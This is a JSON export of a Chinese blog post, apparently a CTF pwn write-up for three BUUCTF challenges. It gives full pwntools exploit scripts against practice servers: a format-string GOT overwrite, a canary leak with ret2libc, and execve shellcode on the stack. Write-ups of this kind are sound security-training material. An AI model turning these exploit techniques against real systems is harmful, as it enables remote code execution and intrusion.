{"id":252,"date":"2025-07-27T15:31:17","date_gmt":"2025-07-27T07:31:17","guid":{"rendered":"http:\/\/lycoreco.cn\/?p=252"},"modified":"2025-07-27T15:31:19","modified_gmt":"2025-07-27T07:31:19","slug":"buuctfaxb_2019_fmt32%e3%80%81pwnable_start%e3%80%81pwnable_start","status":"publish","type":"post","link":"http:\/\/lycoreco.cn\/index.php\/2025\/07\/27\/buuctfaxb_2019_fmt32%e3%80%81pwnable_start%e3%80%81pwnable_start\/","title":{"rendered":"buuctf:axb_2019_fmt32\u3001pwnable_start\u3001pwnable_start"},"content":{"rendered":"\n


1\u3001 axb_2019_fmt32\u9898\u76ee\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

32\u4f4d\u5f00\u4e86NX\uff0c\u7a0b\u5e8f\u662f\u4e00\u4e2a\u590d\u8bfb\u673a<\/p>\n\n\n\n

\u8fd9\u4e2a\u627e\u4e0d\u5230\u6ea2\u51fa\uff0c\u53d1\u73b0\u662f\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\uff0c\u770b\u770b\u504f\u79fb<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n


\u5b83\u7740\u6ca1\u6709\u5bf9\u9f50\uff0c\u504f\u79fb\u662f8\uff0c\u53ef\u4ee5\u8865\u4e00\u4e2aB\u770b\u4e00\u4e0b\uff1a<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n


\u56e0\u4e3a\u8fd9\u9053\u9898\u6ca1\u6709system(“\/bin\/sh”)\uff0cgot\u8868\u53ef\u6539\uff0c\u6240\u4ee5\u901a\u8fc7printf\u7684got\u8868\u6765\u6cc4\u9732libc\uff0c\u8ba1\u7b97\u57fa\u5740\u540e\u5c31\u53ef\u4ee5\u5c06printf\u5730\u5740\u6539\u4e3asystem\uff0c\u4f46\u662f\u9700\u8981\u7528fmtstr_payload<\/p>\n\n\n\n

fmtstr_payload(offset, {address1: value1, address2: value2, ...}, numbwritten=0, write_size='byte')<\/code><\/pre>\n\n\n\n
offset: \u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u7684\u504f\u79fb\u91cf\u3002<\/p>\n\n\n\n
writes: \u9700\u8981\u5199\u5165\u7684\u6570\u636e\uff0c\u91c7\u7528\u5b57\u5178\u5f62\u5f0f\uff0c\u4f8b\u5982 {printf_got: system_addr}\u3002<\/p>\n\n\n\n
numbwritten: \u5df2\u7ecf\u8f93\u51fa\u7684\u5b57\u7b26\u4e2a\u6570\uff0c\u9ed8\u8ba4\u4e3a 0\u3002<\/p>\n\n\n\n
write_size: \u5199\u5165\u65b9\u5f0f\uff0c\u53ef\u4ee5\u662f ‘byte’\uff08\u6309\u5b57\u8282\uff09\u3001’short’\uff08\u6309\u53cc\u5b57\u8282\uff09\u6216 ‘int’\uff08\u6309\u56db\u5b57\u8282\uff09\uff0c\u9ed8\u8ba4\u662f ‘byte’\u3002<\/p>\n\n\n\n
2\u3001\u8bd5\u4e00\u8bd5<\/h2>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",28928)\nelf=ELF(\".\/axb_2019_fmt32\")\nlibc=ELF(\".\/libc-2.23.so\")\nprintf_got=elf.got['printf']\n\npayload=b'a'+p32(printf_got)+b'b'+b'%8$s'\np.recvuntil(\"Please tell me:\")\np.send(payload)\np.recvuntil(b\"b\")\nprintf=u32(p.recv(4))\nprint(hex(printf))\n\nbase=printf-libc.sym['printf']\nsys=base+libc.sym['system']\n\npayload=b'a'+fmtstr_payload(8,{printf_got:sys},write_size=\"byte\",numbwritten=0xa)\np.recvuntil(\"Please tell me:\")\np.sendline(payload)\np.sendline(b';\/bin\/sh\\x00')#\u5206\u53f7\u53ef\u4ee5\u4f7f\u4e0d\u540c\u547d\u4ee4\u540c\u6b65\u5b9e\u73b0\n#\u53d1\u9001 ;\/bin\/sh\\x00\uff0c\u89e6\u53d1 printf \u51fd\u6570\u8c03\u7528\uff0c\u6b64\u65f6 printf \u5df2\u88ab\u4fee\u6539\u4e3a system\uff0c\u56e0\u6b64\u4f1a\u6267\u884c system(\"\/bin\/sh\")\uff0c\u4ece\u800c\u83b7\u53d6 shell\u3002\np.interactive()<\/code><\/pre>\n\n\n\n

\u5982\u679c\u6211\u4eec\u4e0d\u7ed9\/bin\/sh\u524d\u52a0\u5206\u53f7<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

3\u3001others_babystack\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4f4d\u5f00\u5f97\u633a\u591a\uff0c\u8fd0\u884c\u662f\u4e00\u4e2a\u83dc\u5355<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u90091\u7684\u8bdd\u6211\u4eec\u53ef\u4ee5\u8fdb\u884c\u6ea2\u51fa\u6cc4\u9732libc,\u4f46\u662f\u8ddf\u4e4b\u524d\u6709\u4e00\u9053\u9898\u7c7b\u4f3c\uff0c\u8fd9\u9053\u9898\u591a\u4e86\u4e00\u4e2acanary\uff0c\u4f46\u662f\u53ef\u4ee5\u90092\u901a\u8fc7puts\u51fd\u6570\u6765\u6cc4\u9732,\u6211\u4eec\u8981\u586b\u5145s\u52300x90-8\u7684\u4f4d\u7f6e\uff0c\u540e\u9762\u5c31\u662fcanary\u7684\u503c\uff0c\u601d\u8def\u6709\u4e86\uff0c\u73b0\u5728\u5f00\u59cb\u5c1d\u8bd5<\/p>\n\n\n\n
\u627e\u4e00\u4e0bcanary\uff0c\u7531\u4e8e\u63a5\u6536\u6709\u70b9\u95ee\u9898\uff0c\u6240\u4ee5\u7528c\u6765\u505a\u6807\u5fd7<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u9762\u5c31\u662fret2libc\u4e86\uff0c\u6211\u4eec\u7528puts\u5c31\u884c<\/p>\n\n\n\n
\u53ea\u7528\u627erdi<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
i=0x400a93<\/p>\n\n\n\n
\u7136\u540e\u76f4\u63a5\u5f00\u5199\u5427<\/p>\n\n\n\n

4\u3001others_babystack\u5b9e\u64cd<\/h2>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",26444)\nelf=ELF(\".\/babystack\")\nlibc=ELF(\".\/libc-2.23.so\")\n\npoprdi=0x400a93\nmain=0x400908\np.sendline(b'1')\npayload=b'a'*0x88\np.sendline(payload)\n\np.sendlineafter(b'>>',b'2')\np.recvuntil('a\\n')\ncanary=u64(p.recv(7).rjust(8,b'\\x00'))\nprint(hex(canary))\n\nputs_plt=elf.plt['puts']\nputs_got=elf.got['puts']\np.sendlineafter(b'>>',b'1')\npayload=b'a'*(0x90-8)+p64(canary)+b'a'*8\npayload+=p64(poprdi)+p64(puts_got)+p64(puts_plt)+p64(main)\np.sendline(payload)\np.sendlineafter(b'>> ',b'3')\nputs=u64(p.recv(6).ljust(8,b'\\x00'))\nprint(hex(puts))\n\nlibcbase=puts-libc.sym['puts']\nsys=libcbase+libc.sym['system']\nbinsh=libcbase+next(libc.search(b'\/bin\/sh'))\np.sendlineafter(b'>>',b'1')\npayload=b'a'*(0x90-8)+p64(canary)+b'a'*8+p64(poprdi)+p64(binsh)+p64(sys)\np.sendline(payload)\np.sendlineafter(b'>>',b'3')\n\np.interactive()<\/code><\/pre>\n\n\n\n

\u5509\uff0c\u6363\u9f13\u5927\u534a\u5929<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

5\u3001pwnable_start\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u5565\u4e5f\u6ca1\u6709\u5f00<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd8\u633a\u7279\u522b\u7684\uff0c\u770b\u5230\u4e86int80\uff0c\u7b2c\u4e00\u6b21\u8c03\u7528\u4e86write\u51fd\u6570\uff0c\uff0c\u8fd9\u9053\u9898\u8fd8\u662f\u7528shellcode\u6765\u505a\uff0c\u4f46\u662f\u6211\u4eec\u5728\u54ea\u91cc\u653eshellcode\u5462\uff0c\u6211\u4eec\u53bb\u8c03\u8bd5\u4e00\u4e0b<\/p>\n\n\n\n
\u504f\u79fb\u662f20<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u6211\u4eec\u901a\u8fc7\u6ea2\u51fa\u8df3\u5230mov ecx, esp\uff080x8048087\uff09\u5904\u83b7\u5f97esp\u7684\u503c\u540e\u518d\u8df3\u8f6c\u6267\u884cshellcode<\/p>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",26440)\n\nmov=0x8048087\npayload=b'a'*20+p32(mov)\np.sendline(payload)\nesp=u32(p.recv(4))\nprint(hex(esp))\np.interactive()\n<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
add esp, 14h<\/p>\n\n\n\n
retn<\/p>\n\n\n\n
\u7a0b\u5e8f\u6700\u540e\u5148add14h\u624dretn\u6240\u4ee5\u6211\u4eec\u8981\u56de\u5230\u539f\u6765\u7684\u4f4d\u7f6e<\/p>\n\n\n\n
6\u3001pwnable_start\u5b9e\u64cd<\/h2>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",26440)\noffset = 0x14\nsecond_write = 0x08048087\npayload = b\"A\" * offset + p32(second_write)\np.sendafter(\":\",payload)\nesp = u32(p.recv(4))\nprint(hex(esp))\n\n#shellcode=asm( \"xor ecx,ecx;xor edx,edx ; push edx;push 0x68732f6e;push 0x69622f2f; mov ebx,esp;mov eax,0xb;int 0x80 \"\n\nshellcode= b'\\x31\\xc9\\xf7\\xe1\\x51\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xb0\\x0b\\xcd\\x80'\npayload=b'a'*20+p32(esp+20)+shellcode\np.send(payload)\np.interactive()<\/code><\/pre>\n\n\n\n

\u5509\uff0c\u600e\u4e48\u4eca\u5929\u4ee3\u7801\u8fd9\u4e48\u591a\u62a5\u9519<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u5c31\u505a\u5230\u8fd9\u513f\u5427\uff0c\u80a9\u8180\u5feb\u53d1\u708e\u4e86……<\/p>\n","protected":false},"excerpt":{"rendered":"
1\u3001 axb_2019_fmt32\u9898\u76ee\u5206\u6790 32\u4f4d\u5f00\u4e86NX\uff0c\u7a0b\u5e8f\u662f\u4e00\u4e2a\u590d\u8bfb\u673a \u8fd9\u4e2a\u627e\u4e0d\u5230\u6ea2\u51fa\uff0c\u53d1\u73b0\u662f\u683c\u5f0f\u5316\u5b57\u7b26 […]<\/p>\n","protected":false},"author":1,"featured_media":273,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[4],"class_list":["post-252","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-learn","tag-pwn"],"_links":{"self":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/252","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/comments?post=252"}],"version-history":[{"count":1,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/252\/revisions"}],"predecessor-version":[{"id":274,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/252\/revisions\/274"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media\/273"}],"wp:attachment":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media?parent=252"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/categories?post=252"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/tags?post=252"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}